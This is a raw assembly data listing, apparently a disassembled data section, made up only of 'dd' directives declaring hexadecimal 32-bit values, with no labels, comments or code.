dd 2827CF5Dh, 0B67D3B4Fh, 767BA0D9h, 17A1103h, 943001CBh
dd 0B89B8382h, 4AEE36DCh, 926E33D7h, 659BE778h, 8FEEE9AFh
dd 5FFFD7AAh, 0D201F06h, 5A8985E5h, 0C2812545h, 8B1E5F5Ah
dd 85FD655Ch, 77238A4Fh, 0F399A2C4h, 0BDB438DAh, 6CE538A1h
dd 8D5D6B26h, 240C88B1h, 0BACB920Ah, 0C6DBFC5Eh, 0CA90A84Bh
dd 0A5D76A9Dh, 17F94785h, 61E27E39h, 0EE706897h, 5CA2234h
dd 6DB5BE9Bh, 0A0D9B278h, 0FFFE25C9h, 0AE73F93Bh, 1EF3851Bh
dd 0C2FB2DC0h, 0AE001D15h, 76AC65CDh, 36713669h, 8BF75D6Ah
dd 35B741A8h, 0CE43BDFAh, 2B7B1E75h, 6FBB234Bh, 0E72A7378h
dd 8EE46BB7h, 3A2D34B4h, 494ADD83h, 0D45E8753h, 400CCBE0h
dd 9E99504Fh, 4D965830h, 0CB9C430Bh, 5F45C512h, 3E07BFB6h
dd 8215E9F5h, 0F7D91BCBh, 7564F527h, 87E5D027h, 0E237FC7Ch
dd 0EAE7BF9Bh, 6FC6AAFCh, 0CEBA08EDh, 287E91B9h, 8C7653C0h
dd 111D3974h, 0CDBC9D11h, 65B62F86h, 42891EC7h, 4850C3ACh
dd 9B11ED18h, 5AD058D4h, 0A4EBC88Dh, 0CE7FE800h, 0D45855C1h
dd 0B81ED904h, 0AE96C584h, 0B0E3571Bh, 0E1BCEB60h, 0B03DD891h
dd 0DBE0CE30h, 66BB4E1Ch, 0F8665B23h, 0DF4514DCh, 0E69098E4h
dd 0AE6293C4h, 3104EA4Ah, 0CCC3A2Eh, 0DB0FE343h, 186B2A66h
dd 98DA3377h, 1606285Ah, 8E39202Bh, 8078E887h, 31F23C20h
dd 8A7536D9h, 5124EA1Fh, 13E5ABBCh, 7401450h, 84AB3361h
dd 0E13F0ED8h, 343281F6h, 497E12F1h, 59AF34F4h, 0AF1B0760h
dd 1A0C45Bh, 0B5283489h, 4300B3ACh, 8526391Dh, 0C93BAAECh
dd 4DB70593h, 945CA106h, 0E8FBA6C4h, 0D6613A45h, 0F4BBF10Fh
dd 0D0A5A320h, 0DECCEF5Fh, 0ADAC87F7h, 8730F843h, 0C6664796h
dd 0E5F736C2h, 1D25AC03h, 565E18FCh, 35F59FB2h, 0A909BA5Ch
dd 95A7F3AAh, 375DF1A2h, 0FA5DFB6Ah, 9CD7F37Eh, 5CD97291h
dd 0AAA6AA65h, 58406C1Dh, 19E9AF62h, 0C918E0DAh, 405B9FF1h
dd 0B804CBF2h, 0B074FD33h, 8F12AC88h, 8546D5E0h, 0CE86581Bh
dd 0D58D98A7h, 0AB117E37h, 68A924F3h, 0F4A252C8h, 0E4F5441Eh
dd 8B527E3Fh, 9F125029h, 77AF1944h, 0F6D57035h, 0C6FC560Ah
dd 0F14CE88Ah, 0A8E1B2B6h, 31EF9DDFh, 0F74BF243h, 0B83F8B41h
dd 3697F9CDh, 0DC6C35E8h, 9D9EC461h, 55171894h, 25D8C8CBh
dd 5B01799Fh, 9E85D0EFh, 0BEE2EC9h, 211AF589h, 6131868Bh
dd 0CA057410h, 32E3E9B9h, 92EF9D6h, 677EE7B6h, 14C85D4Bh
dd 0CF446013h
dd 7025F7E5h, 0C607B8B7h, 6CF892DDh, 3F7B66DEh, 0E35433D5h
dd 48227921h, 1BBD6E8Bh, 0C630A3E6h, 69DBEFF6h, 85D90E73h
dd 565FF520h, 0D690AE0Ch, 3AF26609h, 71E482EAh, 2ACA83Ah
dd 0B4FACE3Bh, 89B4F73h, 0E6230233h, 0CBEB1176h, 0B58B7FD1h
dd 0E8159B40h, 7CB9DB9Eh, 6B548107h, 0DF533FB2h, 7A49626Fh
dd 7DD11694h, 0EB9E02A7h, 88A87B58h, 0DF2E0C4Bh, 2F655F2Bh
dd 0CA3252FCh, 0A70D8B07h, 0C1A05175h, 70020A2Eh, 485072A5h
dd 6E13ABC8h, 537C398h, 1BC86267h, 561930CAh, 4AE1AFCBh
dd 3BD990B1h, 320DB8C2h, 4E5D5B4Ch, 88BDEBEFh, 19101DCEh
dd 0ED546812h, 598095B5h, 5DA2ABBFh, 666E01CEh, 3C7C88A9h
dd 8E579115h, 6D81DC98h, 0CAECB8AFh, 5E16CAF0h, 7B08BD3Fh
dd 0EB190897h, 105FDA1h, 406EB70Ah, 985E5BF6h, 0DDF3885Ch
dd 0F3BB817Bh, 877D1E56h, 328C8C5Fh, 0FD7C12B0h, 8D433E16h
dd 1DB6287Bh, 7182E3C3h, 8B9B77B7h, 6F0FC59Dh, 0E1070C22h
dd 0BD89EA6Eh, 7995D5C8h, 5A350AD0h, 5A0F6B27h, 0AA27E08Dh
dd 7549C7C5h, 81C56Eh, 4EEB8422h, 496519B9h, 0F31999D5h
dd 0CB87AAA0h, 0FAA69425h, 0B4C41D9Bh, 0DCF3A3Bh, 57F9ABDBh
dd 71BEC2A0h, 1ECF849Ch, 6FB9E1D9h, 6BB6EC84h, 80B62726h
dd 5E86C29Ch, 0C098995Dh, 789CD723h, 6992566h, 0B3F099B8h
dd 6B0BD871h, 0D78D0A7h, 0A7B88EEEh, 7D089A43h, 0C9F6CE7Fh
dd 3B6D27EBh, 2AFEAC7Eh, 0F7C4E6FFh, 9106287Bh, 0ECA155B4h
dd 1205508Dh, 320E78B2h, 0F65FD70Eh, 0E5101C0Bh, 32C7F83Eh
dd 81671FC4h, 261DC620h, 0B071C808h, 0F0F1EC96h, 0F64EC5E7h
dd 64F0788Ah, 0A20B3FC6h, 50607A99h, 5E4CB137h, 0F2729FD3h
dd 9560981h, 218D1CB7h, 0E4897EBEh, 23EBF090h, 0E030DCFBh
dd 8A05494Bh, 7ED9E66Fh, 647EB7F8h, 61806356h, 17C9CB16h
dd 673ABFBh, 438D0C0Ch, 5024BF92h, 60887D1Bh, 0A383BAFEh
dd 0ADE75BF8h, 2CFE5EBFh, 75BB766Ch, 45BCEF6Dh, 6788385Bh
dd 0D12E9337h, 0D7E9920Ch, 0B8233907h, 65CAA6A2h, 0C9127118h
dd 7ED482F2h, 429E777Eh, 0D0B1B6Ah, 0D5589BE5h, 3E619387h
dd 2F31EEF0h, 74FB952h, 0D9E303D7h, 665A0580h, 951E80CDh
dd 5397DD73h, 0D5633F2Bh, 17ADE7EDh, 62356421h, 0C4E62712h
dd 91907508h, 380270C4h, 0C902E12Ah, 0F570E57Ch, 0E45758C9h
dd 21AFB543h, 5055399Ch, 2374ECF3h, 0D21549AFh, 4CEF594h
dd 0E1E65F90h, 0C61AF54Ah, 430D66ABh, 0E532AA5Ch, 0F2850A86h
dd 0D65AD865h, 899BBA2Bh, 2B51D3Bh, 0B8720453h, 2C615D42h
dd 0F19FBB2Ch, 0B2EF96Ah, 0BFF98B20h, 2440837Dh, 0D8F8D609h
dd 6977B55Bh, 0B4719419h, 930DA3E7h, 43122C62h, 6FFFB61h
dd 336C2079h, 50808E34h, 35BA0779h, 0A02503D3h, 67457757h
dd 275D3CA5h, 0AA3C7EDDh, 70A8AB5Bh, 85A2DD88h, 5720B746h
dd 905074EBh, 685C5F2Ah, 93A5C3A3h, 0A2F160F9h, 0B6169F54h
dd 0BE196ED6h, 5CF49FE5h, 65B1866Bh, 0BEF3D709h, 7DEAB8E7h
dd 732DB293h, 5D0EAD99h, 7DB475FFh, 518A9736h, 41552025h
dd 99192E7Bh, 1158A726h, 0A0E9C6B3h, 386030D5h, 0D702BF6Fh
dd 0EE84729Bh, 0C78425C8h, 0D8E12455h, 9DA98FD7h, 35CEE845h
dd 4382D9h, 0A73709C7h, 0BA375890h, 5489690h, 392AB613h
dd 6E4F1097h, 443345DAh, 734DB12Bh, 6B01D1CAh, 1EE7536h
dd 0CB5A2FC3h, 164A805h, 4B3EB46Bh, 0F5D9BF1Ah, 0F0DDE53Eh
dd 0B62DC7C9h, 0D513B92Eh, 0C67488B7h, 5535F005h, 4572C6B5h
dd 0E92B93AEh, 0DCBF88Fh, 0B5A3A7F5h, 0DC618216h, 1DBD0FB1h
dd 0BEDBE82Bh, 0F08FBD8Eh, 4BA2B4EAh, 2102DB46h, 0D74E872Dh
dd 64002902h, 0BF8B436Fh, 0B6201613h, 83C7F5C9h, 124FAEA6h
dd 9194E6EFh, 5C97BBDEh, 89A02C70h, 9E9BB761h, 64E1C71Bh
dd 0AB7F7C70h, 218FA86Dh, 1B2BDB60h, 645DEE37h, 24D4F0EFh
dd 53C5A71h, 0EB7907DDh, 0A1F2413Bh, 13E77B35h, 3648CBC1h
dd 3741B61Eh, 8D120288h, 0BFBEF33Ch, 6B2956ADh, 5BA1AB1Fh
dd 78D3A39Ch, 0E5455512h, 4B3C6B77h, 7F6930C1h, 0E2A38F30h
dd 9C112B23h, 0BABC8FEFh, 8D9F9EF6h, 5C63516Fh, 0D2C8184h
dd 85885DB4h, 0ACAEA44Dh, 220C8514h, 5DF45AC3h, 9B40FA80h
dd 75B17EE7h, 86699C61h, 3F592AF6h, 749C6793h, 9652A48h
dd 7F62A95Ah, 6F89F9BFh, 2A066F6Eh, 5022BBD9h, 1AE04656h
dd 0B69E8873h, 0D4EEAE9Dh, 59BCC869h, 5667D879h, 0C1B946A2h
dd 33A19E49h, 5AF68DA5h, 573E74C5h, 0FFC05C5Eh, 5ECD1F50h
dd 0B4FED4FEh, 2B5552DFh, 0EDD454D0h, 0DB7F1961h, 166D0966h
dd 3C17FC56h, 0DDB47A49h, 0EB592CFAh, 6CFBB7E2h, 367F543Ch
dd 912F281Fh, 0AAA85CC4h, 0C6C0D446h, 5A0A4DDh, 0C072A164h
dd 0AF9EE249h, 6D0E0546h, 67F97743h, 181EEE18h, 9EB0543h
dd 23598E64h, 59B83BB9h, 38FC3934h, 53A814D1h, 6DF79DC5h
dd 0A0E497D1h, 0F515738Eh, 0E1E4E095h, 1111225h, 303489EFh
dd 3BEBA8B1h, 24622940h, 0BFCCAD0Bh, 5BE58410h, 767FC58Dh
dd 74C38C2Ah, 15BC960Bh, 38A175C9h, 14E3F70Fh, 38046A7Ch
dd 0D877A82Ah, 0B5B689EDh, 0D4303E69h, 0C4479D5Ch, 5483C429h
dd 4DF51C36h, 0D2446DCBh, 17741ADEh, 0E703E8D2h, 0B42C830h
dd 0A11C573h, 36DDD790h, 402EAF1Eh, 0EB195D45h, 663F3573h
dd 0AABEB25Eh, 640841EBh, 0B3C9C0C7h, 0A8C15FA6h, 6CD61160h
dd 667E615Bh, 9D10E64Dh, 0A5508595h, 49AEF13h, 0E5CE0872h
dd 3CAF7C33h, 0FE869417h, 0A1BA3A2Ah, 0F8398081h, 1D61118Bh
dd 3054ECCDh, 0E81270D9h, 7E923FE0h, 0BE68BC1Dh, 0EA5CA84Bh
dd 0F937776Ah, 52AF1441h, 85F86C75h, 0CF29C29h, 1B41C8D4h
dd 0A31310B2h, 0F2D242Ch, 4CD9D49Ah, 702BA11Eh, 842446F3h
dd 16BE85C2h, 7501D4F6h, 89D017ADh, 6DC7647Fh, 0FF4EBE89h
dd 10FDC242h, 68C78E74h, 0E5A25D4h, 0C3858EFEh, 1A54B5D0h
dd 0D60A6CBh, 76A18A27h, 1C4450ACh, 8909FA31h, 6DE77BDh
dd 46CD4FB6h, 0B7D902C7h, 63C8E352h, 24AA2EF6h, 0A6850A26h
dd 430E8A3h, 14D1741Eh, 3BBCAB6Dh, 283FD617h, 8D1770CEh
dd 826E9714h, 4D35C5C9h, 0BF06B22Dh, 741C6BB2h, 0D07D08E4h
dd 2D5D62AFh, 20256105h, 0B7C81F20h, 11427D5h, 0B848EC25h
dd 4FA18D4Dh, 7BBD87B9h, 779021A7h, 2AF88930h, 0D2401C55h
dd 8D2742BAh, 51EAFB63h, 25535977h, 1FF81241h, 0A887DA6h
dd 0AEB999A6h, 0E50ABCD1h, 96EC6E51h, 2AB231D8h, 139404BBh
dd 0F68C3AE5h, 2D4714F2h, 41452728h, 6F8199F4h, 0E262B68h
dd 0B974B6F1h, 0DD272D7Eh, 2A9D210Ah, 4B13C1ADh, 96302E1Eh
dd 649BF7FCh, 0B1C18AB5h, 0DB094BFDh, 3F1AA7D8h, 8AF4A990h
dd 535534C0h, 0DF20CF8Eh, 4632D937h, 27DB1911h, 98C6A5B8h
dd 0C60086B0h, 0C95728DAh, 0E7DE6739h, 281A0B04h, 5714FD9Ch
dd 578E47D2h, 8D8F7DB1h, 628B8680h, 172226B3h, 0A4B8BC56h
dd 6638DC78h, 0E990BEE3h, 42B08910h, 0ADB0113Eh, 0CE883A4Bh
dd 0F36EE611h, 0AD236D62h, 899B12h, 6FFDCF04h, 0E6F85870h
dd 0BADBD47Eh, 402D12EFh, 46C340FDh, 0CE659F33h, 0F34E8BEDh
dd 0A949453Dh, 0A6165A2Ch, 2E08427Eh, 28F61C27h, 51CCCFDDh
dd 1108E057h, 1FADC577h, 0AA1D6BFh, 0CF182F62h, 5CE2E0A4h
dd 0DF578668h, 0F519B59Bh, 8629D498h, 0A98C21D7h, 0F9196C66h
dd 98DEFD8Ch, 3E0C9407h
dd 5E47C6A8h, 0EB20EB10h, 989AFB32h, 3DE9E248h, 1BBA953Bh
dd 0ECC3FD9Dh, 0B2FA8E7Ch, 2447014Bh, 8EE57E65h, 472780FDh
dd 0D3C31478h, 3D31CEBDh, 0E3AD1D96h, 7D964105h, 0BA0E1FCh
dd 0AFD1B71Dh, 0BEAE352Ah, 90F62F29h, 0E1FD65C2h, 39DFDF60h
dd 3F66B138h, 0EFBF2AF1h, 0A3ECEF24h, 0F3C1E828h, 71B499D5h
dd 391F125Eh, 3D89BEB5h, 0C2F8126h, 68493B33h, 97B4883Eh
dd 0C7A6F9F9h, 0AA6ED3EFh, 6DC0493Fh, 0B16CB8E2h, 0C50B92F7h
dd 0EA42B30Ah, 146396EAh, 608CE3FFh, 4D3C89BFh, 0DADBF8D3h
dd 530C2E44h, 0D8AAE866h, 0EB81C51Ah, 606BEBA3h, 1468C1C2h
dd 9C3FA3B9h, 0F80905BAh, 3D8DFBFDh, 8BA3C269h, 9990FE96h
dd 31A43BB8h, 61B1C1AAh, 0E7A923EEh, 83FBC7C8h, 25B05466h
dd 68F0ABF2h, 20C677Ah, 0CE1C9EAAh, 2413C4h, 0FCD8F0D0h
dd 0F45A23DBh, 469D7281h, 8B13F189h, 0A89B4B41h, 40C98976h
dd 43D632h, 29F071A1h, 32673B83h, 0A48BEA0Ah, 7A817D8Eh
dd 96944D9h, 923D879Ch, 8FAEF97Dh, 1BD13C97h, 50F0A8Dh
dd 76E6FE2h, 59D544CCh, 5E5F760h, 47FEAAB5h, 7F05413Ch
dd 6507617Fh, 6C7E5CEFh, 0D7C1F481h, 40BF4733h, 26474AA4h
dd 0AFDACB31h, 28F61B84h, 14217D31h, 39F23C1Fh, 0AD00BA3Dh
dd 0A28D5197h, 4F23D781h, 0B02D9845h, 0DD7EB411h, 3AD9BDBEh
dd 8DAD7839h, 0C2272FF3h, 6B305DD3h, 221A38ADh, 0A093AD9Dh
dd 537E6B2h, 896A999Dh, 94779CB1h, 3415A3E2h, 82D5FE0h
dd 0B8C66308h, 2E3FA07Ch, 1D977BA4h, 1A2868BAh, 32AF3822h
dd 0A8937B8Fh, 0BB338771h, 370EA853h, 7FBDEDE5h, 0AB565857h
dd 0ACA30D13h, 0BEC4EC64h, 76996088h, 0E41802F0h, 3299F92Ch
dd 586A4D90h, 0AD887DE0h, 0FF7A6120h, 5DD9A545h, 22EFF0D6h
dd 7943A215h, 171C7371h, 0F4EF7241h, 0D94308D9h, 0D9DB1FA6h
dd 0C2D4B1E1h, 9083099h, 82309D37h, 26788A43h, 1AA492Fh
dd 76ABD974h, 0AC50FEEBh, 502E5832h, 0C569BC73h, 80E4E4C5h
dd 3FC9F9EBh, 8FF45545h, 6DD63FB7h, 0FCE2553Ch, 61168748h
dd 0ED1F2D0Fh, 8E5E4158h, 1F8B6D2Eh, 0D839EF00h, 0B08E76F0h
dd 0DB38D9C7h, 0AEE026A2h, 0DDE4BF2Bh, 0EC43E3E8h, 0EB7D8680h
dd 0C7B5B935h, 0B548E1ABh, 0A50142E0h, 4507D657h, 0A4909F53h
dd 39928137h, 0BE9B334Dh, 0BC512E6h, 0EC61E1F7h, 0A5313E61h
dd 0B82343B2h, 4E54865Bh, 23AE3FD4h, 39F6F2B5h, 89F3A488h
dd 1CAAF5F2h, 848797D2h, 65EA03AFh, 0AC69D023h, 96F274Dh
dd 0C5B81917h, 6D230539h, 0C5A02620h, 445A5Fh, 5A62B11h
dd 51008A52h, 5050DA2Fh, 7ED019C8h, 82EFD6BBh, 6F7026FEh
dd 49804BD3h, 4ECA66FBh, 87E9217Ch, 87155550h, 0CAEBE606h
dd 8FF6D18h, 971BC2Ch, 0FC6059DEh, 7249ADE5h, 1E807D4Dh
dd 0EA74B876h, 682B9A87h, 67AD6276h, 51DF102Bh, 8F694D72h
dd 0B798F5D7h, 77498482h, 0D4FE5388h, 7A54341Ch, 0BE432C81h
dd 6EF5BC60h, 846C4D95h, 0B6ADB349h, 25BFA256h, 0D0C16622h
dd 120A64E1h, 0C2FA8C13h, 0D05527D5h, 0DF9F1469h, 0F9E4A453h
dd 0DD2DF808h, 9591E42Fh, 73A191D4h, 2674C977h, 5114405Bh
dd 476BBA48h, 1B9EA6C6h, 22934CEAh, 0CFFFB3EFh, 8B93C532h
dd 0E74AB6F2h, 2BA5308h, 87B6B86Fh, 4BACB91Ch, 0F0685648h
dd 0B693664h, 4F6F704Ah, 6C13FA29h, 0C416B3BEh, 0FB5C7C5Ah
dd 30E6D43Ah, 78F55414h, 10FCC370h, 0CE42D9ACh, 973A824Eh
dd 0F66E5450h, 3F88AE54h, 79CF1FE8h, 12017336h, 0E18BE3E3h
dd 19BC09Ah, 379C2BA6h, 0FFD7D192h, 0CC2B447Ah, 1921E375h
dd 9494660h, 0FE264C4Ch, 0A066039h, 1E5CDA03h, 0F61A21BEh
dd 0DE1D7DE7h, 4B3DCC88h, 74F02CEBh, 7C349AF9h, 31D46D86h
dd 352EEED9h, 603E8BB5h, 35D589h, 1A661C1Ch, 9BEC1747h
dd 90649756h, 0D26BC001h, 261E64B6h, 0E90847F0h, 0CA176704h
dd 2C743F2Eh, 9872B111h, 9BB3869Bh, 0D83B9FCFh, 37F17AA7h
dd 285FF860h, 6C4EA7D6h, 0A233673Ch, 22FC0009h, 94B2BC77h
dd 0F49784CDh, 0B4EF3C97h, 854FFA64h, 6E0A9Dh, 9CF5A7ADh
dd 3BA3FB4Eh, 0DACD973Ah, 1E003054h, 93036F5Dh, 9B75552Fh
dd 0A0A45F74h, 8C23A40Dh, 0F2D1627Ch, 0C7DB9BEAh, 82A63D70h
dd 6438EABAh, 85AA16F2h, 0A62C5BDBh, 95FE3DC6h, 0F48ED1D5h
dd 0AC62FDC7h, 23BD685h, 5445E394h, 0A3C65621h, 4FDB759Dh
dd 0F2047828h, 1E59F1AEh, 25F330EFh, 0E93700FBh, 25B9764h
dd 0CBA92A8Ch, 0FEC1E11Ch, 0E2CDAAAEh, 0BC227C18h, 3C909BC7h
dd 4EDFD2F7h, 0AEAD327Dh, 9F21D4h, 0F37A325Dh, 877198FEh
dd 0BBC5947Eh, 9FB9E798h, 0C06D2576h, 1637E049h, 0EA90C5D4h
dd 6B6EF291h, 55137969h, 4035EE47h, 4C7F4C45h, 0ECF866B9h
dd 8442B5EBh, 0BF9B1EE2h, 8943FD17h, 0C8003ADFh, 0D3A17FC9h
dd 0CE754AEEh, 8C90B9ACh, 3979D54Dh, 4F39AE0Fh, 0C0356F6Bh
dd 0B9DA4C38h, 7D4E5AEEh, 806FD4EBh, 0F3041D87h, 1035972Dh
dd 1004B8A5h, 1958C6E5h, 546DFF43h, 51FD32D8h, 7BBE5905h
dd 0EAB7BC21h, 73F9F258h, 1267C907h, 0B3B2F494h, 41A20C51h
dd 0D14A3FB6h, 0B2302E9Eh, 0A93C121Ah, 501935A0h, 0FC494BBh
dd 798A1DF0h, 0D3B1ADD5h, 15DEB5FDh, 10BD33BDh, 0ADE20E21h
dd 5B27D3F9h, 492EE441h, 0A1229770h, 0FF595644h, 0FC48BF1Fh
dd 7A5FD80h, 0EA2E0673h, 0A007ACAh, 743F44AAh, 0F8EA252Bh
dd 4A1D631Eh, 93B862C7h, 9974F458h, 0C0735A14h, 3BD38DF2h
dd 4AE717F7h, 4FB8318Bh, 0D8659B82h, 7BAA26FAh, 0B092FDD6h
dd 84530E0Bh, 0ADE4493Dh, 8BB166FAh, 0E1FF15DCh, 0BE769BA5h
dd 92E09297h, 5DC6E02Eh, 0E941839Bh, 982062DBh, 0C2D224FAh
dd 35E8B838h, 0BED584A4h, 0F8F61944h, 8F5250DAh, 1730AA10h
dd 0A40FB842h, 3A450B92h, 216A1B13h, 8155C516h, 2B4709D3h
dd 4F509D8h, 0F6AE638Eh, 0BB8443A6h, 0E1ACAB0Ch, 6D9D18A3h
dd 0A9D94687h, 123168D6h, 0DE6D7836h, 843D35Ah, 1144061h
dd 701C8426h, 4565955Ch, 176AADE4h, 58C81D8Ah, 0CB06A011h
dd 0E42633ABh, 999D2177h, 3178D4CFh, 0B5820102h, 0EA169A5h
dd 47CC6E7Dh, 0CA367F72h, 20E7C54Bh, 0A52FC005h, 2B6A17B2h
dd 3746B919h, 0BF6C6A17h, 0CB9EEB0Fh, 1743D73Bh, 0D52FE140h
dd 0C61EC913h, 84DD403Eh, 27FCC05Bh, 6C15918Dh, 90EB862Eh
dd 9AF4ADE0h, 0A954EE1Fh, 0C306A2C5h, 9A4AD260h, 79ADBEF8h
dd 0B0778948h, 11366734h, 454A1152h, 0F353FBD8h, 0E6854AEDh
dd 0B7472092h, 0D4099744h, 1C0195A8h, 0A9323830h, 812B39E3h
dd 0C30B4DECh, 0A8F2CF21h, 57B1FA13h, 23F22AF8h, 16BDBB62h
dd 31F4BF2Ch, 534CDB86h, 24307F58h, 77D78FE6h, 1478FB91h
dd 61A1416h, 0FE1C9064h, 9AA72F8Eh, 39F835Fh, 36C9E44Dh
dd 0BEADD54Ah, 0D0204A0h, 8358E86Fh, 61ECE2Bh, 0F8E70F05h
dd 0F1743533h, 2D2C8D1Eh, 7FF845EEh, 0C9A812EBh, 37EC316Fh
dd 0B087EFA6h, 5F06CA44h, 44B951ACh, 0FCCF05DDh, 2741D019h
dd 0B486217Ah, 6D3C949Eh, 0AA55A55Ch, 17FD72h, 84DE37A7h
dd 0A3A8DC79h, 9078269Eh, 6B581FA6h, 0A6F0BD7Eh, 0F50BE350h
dd 4053DCDEh, 4AC32562h, 759CE2D1h, 45445A3Ah, 0C6456B2h
dd 0F511B70h, 0E7D49A6Ch, 8F0F5E44h, 0BD0CA046h, 0E2348078h
dd 57D9DDCEh, 0F52A41E6h, 246EE13Fh, 0D2EFAB6Fh, 0D8BC6B95h
dd 9C1BB5EBh, 0E0E04996h
dd 0EA9FBB24h, 2BAF9C7Dh, 90304037h, 47F4CAA8h, 0ACDC281Bh
dd 0FAB67E46h, 7FCB9341h, 4DAF6FAh, 2E896DE2h, 79113B44h
dd 0A053EAF8h, 0DDD29A2Ch, 343192F6h, 0C599F06Dh, 5E032B94h
dd 0D3C7733h, 7E82E993h, 187D2F3Fh, 4FAB6807h, 0DEE0730Eh
dd 0F5D6129Dh, 0B1D998F5h, 128AB581h, 0B5CB9AF1h, 0F9D0080Ah
dd 4F344F61h, 39647288h, 202A8E2Fh, 0B02B7265h, 73F34372h
dd 0E1BF01D0h, 0E0E7E270h, 0B46AE463h, 0FEA64F92h, 0D4D94E40h
dd 0F4C38C0Ah, 0B5BB5F68h, 0B1B0EBA3h, 0DDD3F99Ah, 0CC3A59DEh
dd 39EA93E2h, 0A25ACCD1h, 0C63E76D0h, 52AD1AE9h, 59D55EBAh
dd 0E10B520Ch, 0FADA06F2h, 7E95D244h, 80863C44h, 0BFB1BD01h
dd 0C5E246ADh, 0E8B09636h, 52025590h, 2C1F7E60h, 3FDC0F34h
dd 4589E464h, 77872D68h, 4F08A4A1h, 0CA0BCDA9h, 0CE3FA063h
dd 0BB511FBBh, 0AE1440C0h, 2AEB4288h, 3D9AB79Dh, 0A5D935D5h
dd 0F72241D0h, 96F957E7h, 4D7F9556h, 379AD135h, 8EFFD6BBh
dd 7F597C80h, 47153C6Bh, 74DF8B3Ah, 0F0FFC1C3h, 4A039363h
dd 7F493659h, 8AC48B51h, 0D93B916Eh, 0B44F3798h, 6B79A9B9h
dd 37C19D20h, 6A8B88F2h, 0EC50A6EAh, 0D67CB7E7h, 0D35936C3h
dd 85B9ECFBh, 0DE6FDEE4h, 5BC6BEC9h, 0F21B874Bh, 55CD2C4Bh
dd 95332B98h, 0BB2996CDh, 0F1D895A3h, 0A9C330CAh, 8F90F5B1h
dd 65E50306h, 6D2A8FFFh, 0DD43C5A4h, 0A3122B85h, 26719C01h
dd 631D105Bh, 0B4D35148h, 0B5F803D0h, 3C417099h, 0A8C8BA1Bh
dd 7E8F0BB1h, 3F9D702Ah, 0D9E432EAh, 81FF0F1Dh, 0E06BB0E2h
dd 0F0F969E5h, 0F1DCBABh, 1FBD5A9Fh, 46E0645Eh, 0A4144805h
dd 0DD78B86Ah, 2D37A02Ah, 0BA4B4DDCh, 304F5580h, 0B423C557h
dd 0F0B60283h, 3471BE45h, 0E796B8BFh, 0BFE77A4Ch, 0B0A73286h
dd 0A37F2DF0h, 0ECD76093h, 0B3D1CFE7h, 60DAE2B6h, 0CE9B1446h
dd 18679D7Ch, 14105D82h, 0C88CEDDBh, 5E4AD933h, 1D226FF7h
dd 25664494h, 6838B821h, 70BAF6C6h, 96D8DB3Bh, 0F2FD0EF7h
dd 9D41170Dh, 3996F8D9h, 0F183CADCh, 927CB632h, 9019C9D7h
dd 0BAFDD6E0h, 0ABABFEAAh, 866DB439h, 4D3412D1h, 0A3962011h
dd 0CDB3480Ah, 5927CD8Ch, 61AE9898h, 0AB6057E7h, 3D25099Eh
dd 0A2103A31h, 9B7DE3EFh, 3D913870h, 56A5ED17h, 0D4526DFAh
dd 0E8831F13h, 0C34DB7BAh, 2FAE476Fh, 44521524h, 83074B80h
dd 0BC2D17F8h, 4A63D403h, 8B19D282h, 9AF9BDB5h, 81B29CF9h
dd 44376876h, 9DD4C3E1h, 0E604BDE7h, 6C364B69h, 60890B10h
dd 9105782Fh, 87889CBAh, 0C3C3756Dh, 1801E74Fh, 80B1E44h
dd 19E78F82h, 0E19E6EE8h, 138CC2F3h, 242E9B11h, 5C7AB6A5h
dd 0BAD8BE24h, 11F6D129h, 66E6080Ch, 72BF7CBAh, 0FA03717Eh
dd 0A50833BCh, 0ECC55AC5h, 711F7F59h, 6B842133h, 86101C06h
dd 3B3DD562h, 40FEC1EAh, 0EBC1DF87h, 0FCD7CB30h, 0D645E452h
dd 0ED9C0CB3h, 552AAF62h, 30BAEA3Fh, 0CEA111CDh, 95AC6B83h
dd 0D8401BFh, 127DF80h, 8586A49Bh, 4681287Fh, 0AC63104Ch
dd 2E77B723h, 0BF093508h, 7832EDDh, 0C2160E63h, 1E518505h
dd 0DCFC7FF0h, 0F0E2A0D7h, 0B00BD212h, 9FAC8E2Eh, 994A98F7h
dd 5C1D45CBh, 0F6D236C2h, 3CD20303h, 5262A234h, 0B6FFFFCEh
dd 415E27Ah, 8CCE685Dh, 0C93270ABh, 0DF6C14CBh, 0A429CEEAh
dd 85528ABFh, 24C8E018h, 5D18FD98h, 847E6A6Ch, 9B83520h
dd 0D963EA87h, 0C4D942F7h, 0EEC47600h, 0BAF079BBh, 0EA1E984Ch
dd 49ABD58Ch, 0D11D9939h, 6E86C1F8h, 0FF12C970h, 0EE18B0C3h
dd 5E8D8CF6h, 0C2668419h, 4125AED2h, 0F0D90945h, 0B1BAF9EEh
dd 1E209DE7h, 0CD382A39h, 0DD99AD27h, 6BB45FFFh, 613061D3h
dd 4C08DCA4h, 7EE83A62h, 0E4769C3Dh, 0F6F4AD55h, 0C2812096h
dd 3C897A16h, 879A7E38h, 3039DC05h, 14F78CF9h, 889542FBh
dd 0BF440DD2h, 0E1EA48Eh, 8C8F07E1h, 7C28AE06h, 0A531A100h
dd 809876B7h, 4160499Ah, 0AC752E1Fh, 0E7EEB75Eh, 50523AE7h
dd 0FFDB6B3Dh, 0A00637Dh, 0E2F3B121h, 3DECD12h, 3E4A0D8Eh
dd 0C5552427h, 416DAE0Ch, 0F98717FDh, 0E6AC1743h, 33F593FDh
dd 2C903A68h, 95623192h, 0EC4C092Bh, 12414579h, 0D61C2050h
dd 9169E166h, 0E46B07A0h, 8CAC2E37h, 2402DEA8h, 0E4BC7B21h
dd 0C622F966h, 0A21D0E5h, 4FB8A5A2h, 6CCE1479h, 0C166651h
dd 0D6FD847Dh, 1A6A6EDh, 0DCA1A552h, 0D173CA03h, 58A372DDh
dd 0DF20926Ch, 8C29A1CDh, 1090DFC9h, 0CB1CEF37h, 677C75CDh
dd 0C79852C6h, 6DB0D7BAh, 0A3CF25ACh, 55875B40h, 8944BDDAh
dd 5D314DA2h, 0D6CECEE2h, 3711D66Eh, 0C3B425F4h, 709B8194h
dd 0DB2F41Ah, 8C69692Dh, 0E6CDA2F1h, 0FD6843Bh, 0D6F42E55h
dd 7B566D4Bh, 35C0C640h, 0D637ED7Ch, 6A81A152h, 0B74CF92Dh
dd 0D276DA9Fh, 10482E2Bh, 0E7719591h, 0E10575CEh, 8292807Bh
dd 124E0E7h, 287E2539h, 0D323190h, 5A67654Ah, 7E5CC82Ch
dd 0B6DDB4F3h, 4DB8365Dh, 96058C16h, 0BC66EBAFh, 0EC63AA28h
dd 78CB269Ch, 0B15E4CE0h, 0A498AFEBh, 0C19C8846h, 9782C659h
